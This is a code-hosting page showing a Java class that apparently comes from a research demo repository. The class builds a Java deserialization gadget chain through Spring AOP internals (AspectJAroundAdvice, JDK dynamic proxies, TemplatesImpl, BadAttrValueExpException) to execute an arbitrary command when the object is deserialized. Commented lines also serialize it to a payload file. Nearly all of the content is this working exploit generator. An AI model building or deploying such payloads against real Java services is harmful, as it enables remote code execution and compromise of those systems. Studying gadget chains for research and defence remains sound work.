MCPcopy Create free account
hub / github.com/Ape1ron/SpringAopInDeserializationDemo1 / SpringAOP1

Class SpringAOP1

src/main/java/SpringAOP1.java:18–69  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

16import java.util.Map;
17
18public class SpringAOP1 {
19 public static void main(String[] args) throws Throwable {
20 SpringAOP1 aop1 = new SpringAOP1();
21 Object object = aop1.getObject(Util.getDefaultTestCmd());
22 Util.runGadgets(object);
23// String path = "/tmp/Deserialization/AOP1/aop1.ser";
24// Util.writeObj2File(object,path);
25// Util.readObj4File(path);
26 }
27
28
29
30 public Object getObject (String cmd) throws Throwable {
31 AspectJAroundAdvice aspectJAroundAdvice = getAspectJAroundAdvice(cmd);
32 InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(aspectJAroundAdvice);
33 Object proxy1 = Proxy.makeGadget(jdkDynamicAopProxy1, Advisor.class, MethodInterceptor.class);
34 Advisor advisor = new DefaultIntroductionAdvisor((Advice) proxy1);
35 List<Advisor> advisors = new ArrayList<>();
36 advisors.add(advisor);
37 AdvisedSupport advisedSupport = new AdvisedSupport();
38 Reflections.setFieldValue(advisedSupport,"advisors",advisors);
39 DefaultAdvisorChainFactory advisorChainFactory = new DefaultAdvisorChainFactory();
40 Reflections.setFieldValue(advisedSupport,"advisorChainFactory",advisorChainFactory);
41 InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget("ape1ron",advisedSupport);
42 Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Map.class);
43
44 Object badAttrValExe = BadAttrValExeNode.makeGadget(proxy2);
45 return badAttrValExe;
46 }
47
48
49
50
51 public AspectJAroundAdvice getAspectJAroundAdvice(String cmd) throws Exception {
52 Object templatesImpl = TemplatesImplNode.makeGadget(cmd);
53 SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);
54 AspectJAroundAdvice aspectJAroundAdvice = Reflections.newInstanceWithoutConstructor(AspectJAroundAdvice.class);
55 Reflections.setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);
56 Reflections.setFieldValue(aspectJAroundAdvice,"declaringClass", TemplatesImpl.class);
57 Reflections.setFieldValue(aspectJAroundAdvice,"methodName", "newTransformer");
58 Reflections.setFieldValue(aspectJAroundAdvice,"parameterTypes", new Class[0]);
59// Method targetMethod = Reflections.getMethod(TemplatesImpl.class,"newTransformer",new Class[0]);
60// Reflections.setFieldValue(aspectJAroundAdvice,"aspectJAdviceMethod",targetMethod);
61
62 AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
63 Reflections.setFieldValue(aspectJAroundAdvice,"pointcut",aspectJExpressionPointcut);
64 Reflections.setFieldValue(aspectJAroundAdvice,"joinPointArgumentIndex",-1);
65 Reflections.setFieldValue(aspectJAroundAdvice,"joinPointStaticPartArgumentIndex",-1);
66 return aspectJAroundAdvice;
67 }
68
69}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected